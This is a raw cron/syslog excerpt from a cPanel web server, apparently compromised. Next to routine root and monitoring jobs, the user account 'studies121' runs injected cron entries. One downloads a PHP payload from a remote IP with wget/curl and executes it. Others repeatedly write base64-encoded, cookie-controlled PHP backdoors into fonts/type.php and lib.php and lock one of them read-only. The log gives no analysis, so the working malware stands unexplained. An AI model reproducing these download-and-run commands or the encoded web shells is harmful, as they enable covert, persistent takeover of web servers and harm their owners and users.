Sep  7 16:42:01 ip-184-168-122-23 CROND[31615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:42:01 ip-184-168-122-23 CROND[31618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:42:01 ip-184-168-122-23 CROND[31617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:42:01 ip-184-168-122-23 CROND[31621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:42:01 ip-184-168-122-23 CROND[31619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:43:01 ip-184-168-122-23 CROND[31739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:43:01 ip-184-168-122-23 CROND[31741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:43:01 ip-184-168-122-23 CROND[31740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:43:01 ip-184-168-122-23 CROND[31742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:44:01 ip-184-168-122-23 CROND[31838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:44:01 ip-184-168-122-23 CROND[31837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:44:01 ip-184-168-122-23 CROND[31839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:44:01 ip-184-168-122-23 CROND[31840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:44:01 ip-184-168-122-23 CROND[31842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:45:01 ip-184-168-122-23 CROND[31960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:45:01 ip-184-168-122-23 CROND[31958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:45:01 ip-184-168-122-23 CROND[31957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:45:01 ip-184-168-122-23 CROND[31955]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  7 16:45:01 ip-184-168-122-23 CROND[31956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:45:01 ip-184-168-122-23 CROND[31959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:45:01 ip-184-168-122-23 CROND[31961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:46:01 ip-184-168-122-23 CROND[32078]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 16:46:01 ip-184-168-122-23 CROND[32083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:46:01 ip-184-168-122-23 CROND[32082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:46:01 ip-184-168-122-23 CROND[32080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:46:01 ip-184-168-122-23 CROND[32084]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 16:46:01 ip-184-168-122-23 CROND[32081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:46:01 ip-184-168-122-23 CROND[32085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:47:01 ip-184-168-122-23 CROND[32219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:47:01 ip-184-168-122-23 CROND[32221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:47:01 ip-184-168-122-23 CROND[32222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:47:01 ip-184-168-122-23 CROND[32220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:48:02 ip-184-168-122-23 CROND[32397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:48:02 ip-184-168-122-23 CROND[32396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:48:02 ip-184-168-122-23 CROND[32398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:48:02 ip-184-168-122-23 CROND[32401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:48:02 ip-184-168-122-23 CROND[32400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:49:01 ip-184-168-122-23 CROND[32520]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 16:49:01 ip-184-168-122-23 CROND[32521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:49:01 ip-184-168-122-23 CROND[32522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:49:01 ip-184-168-122-23 CROND[32523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:49:01 ip-184-168-122-23 CROND[32525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:50:01 ip-184-168-122-23 CROND[32633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:50:01 ip-184-168-122-23 CROND[32634]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:50:01 ip-184-168-122-23 CROND[32636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:50:01 ip-184-168-122-23 CROND[32638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:50:01 ip-184-168-122-23 CROND[32639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:50:01 ip-184-168-122-23 CROND[32637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:50:01 ip-184-168-122-23 CROND[32641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:50:01 ip-184-168-122-23 CROND[32646]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 16:50:01 ip-184-168-122-23 CROND[32647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:51:01 ip-184-168-122-23 CROND[32760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:51:01 ip-184-168-122-23 CROND[32758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:51:01 ip-184-168-122-23 CROND[32761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:51:01 ip-184-168-122-23 CROND[32759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:52:01 ip-184-168-122-23 CROND[402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:52:01 ip-184-168-122-23 CROND[405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:52:01 ip-184-168-122-23 CROND[406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:52:01 ip-184-168-122-23 CROND[407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:52:01 ip-184-168-122-23 CROND[409]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:53:01 ip-184-168-122-23 CROND[508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:53:01 ip-184-168-122-23 CROND[509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:53:01 ip-184-168-122-23 CROND[512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:53:01 ip-184-168-122-23 CROND[511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:54:01 ip-184-168-122-23 CROND[721]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:54:01 ip-184-168-122-23 CROND[722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
